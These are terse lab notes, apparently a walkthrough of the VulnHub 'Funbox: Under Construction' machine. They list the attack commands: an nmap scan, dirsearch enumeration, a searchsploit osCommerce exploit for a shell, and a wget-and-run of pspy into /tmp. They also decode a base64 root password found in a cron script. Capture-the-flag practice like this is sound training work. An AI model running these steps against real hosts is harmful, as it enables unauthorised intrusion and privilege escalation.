Birth: 2026-06-26
Modify:
https://www.vulnhub.com/entry/funbox-under-construction,715/
check ip and nmap
ip -br a
nmap -A -sV 192.168.61.0/24
the target is 192.168.61.148
ports: 22, 25, 80 (httpd)
特別的是有個 smtp server,但是我不熟
2.4.18 應該漏洞很多,但是在 metaspolit 有點難找工具
/ 也沒有什麼資訊
先 enum path
dirsearch -u http://192.1688.61.148
在 /catalog 找到大量檔案,他是一個 oscommerce v2.3.4.1
searchsploit 找 oscommerce 相關的
挑一個新的: 50128.py
執行取得 shell
nc 連接 shell
先嘗試找 suid file,沒找到什麼
裝個 pspy64
(這邊有試過 pspy64s 讀不到)
cd /tmp
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s
chmod +x pspy64s
./pspy64s
監聽到這個 script:
cat /usr/share/doc/examples/cron.sh
decode base64 得到 -u root -p rfvbgt!!
echo "LXUgcm9vdCAtcCByZnZiZ3QhIQ==" | base64 -d
先 upgrade tty
python -c 'import pty;pty.spawn("/bin/bash")'
su